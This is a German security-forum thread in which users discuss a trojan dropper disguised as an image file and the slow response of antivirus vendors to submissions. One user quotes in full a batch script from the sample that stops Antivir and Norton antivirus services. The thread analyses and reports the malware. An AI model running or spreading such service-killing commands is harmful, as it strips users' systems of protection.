Trojan-Dropper.Win32.MultiJoiner.13.j, nicht Wert eingepflegt zu werden? Einstellungen

[Stefan]

Vor gut 3 Wochen habe ich mal eine vermeintliche Bilddatei auf Jottis und Virustotal scannen lassen und anschließend an BitDefender gesandt.
Bis heute hat sich dort und auch bei einigen anderen anscheinend nichts getan.

Frage daher: Ist so ein Schädling es nicht Wert eingepflegt zu werden, oder gibt es im Moment einfach nur zu viel andere Malware die eingepflegt werden muss?




Kaspersky hat den Trojan-Dropper übrigens schon am 10.März entdeckt.

[Voyager]

hab mir die Malware von Stefan mal schicken lassen .
die 314kb com-datei wird hier selbst nicht erkannt aber wenn ich sie im Gast-modus (wo ich keinerlei rechte besitze) starte werden einige sachen daraus gestartet ,darunter eine schmuddlige bilddatei und 2 rar-sfx dateien.
eine rar-sfx datei wird sofort erkannt als :

Quelle: danz6.exe
Klicken Sie hier, um weitere Informationen über dieses Risiko zu erhalten: Backdoor.Trojan
Durchgeführte Aktion: Gelöscht

bei der zweiten kommt eine rar-installer GUI die ich aber abgebrochen hatte. wenn ich jedoch da reinschaue kommt eine stille informationsanleitung zum vorschein, das heisst das rar-sfx hätte sich im silentmodus starten sollen.
darunter auch eine batch-datei die weitere malware installieren soll und ......

@echo off
start /min cmd /c net stop "Antivir Service" 2>nul
start /min cmd /c net stop antivirService 2>nul
#################
start /min cmd /c net stop "Antivir Scheduler" 2>nul
######dfgsdafaag
start /min cmd /c net stop navapsvc 2>nul
####start    /min cmd /c net stop jkfdlkjfdlkjfdslkg 2>nul
start /min cmd /c net stop "AntiVir PersonalEdition Classic Service" 2>nul
exit

Antivir killen sollte

p.s. die *.com selbst hab ich an symantec eingeschickt .

Der Beitrag wurde von bond7 bearbeitet: 25.04.2006, 12:51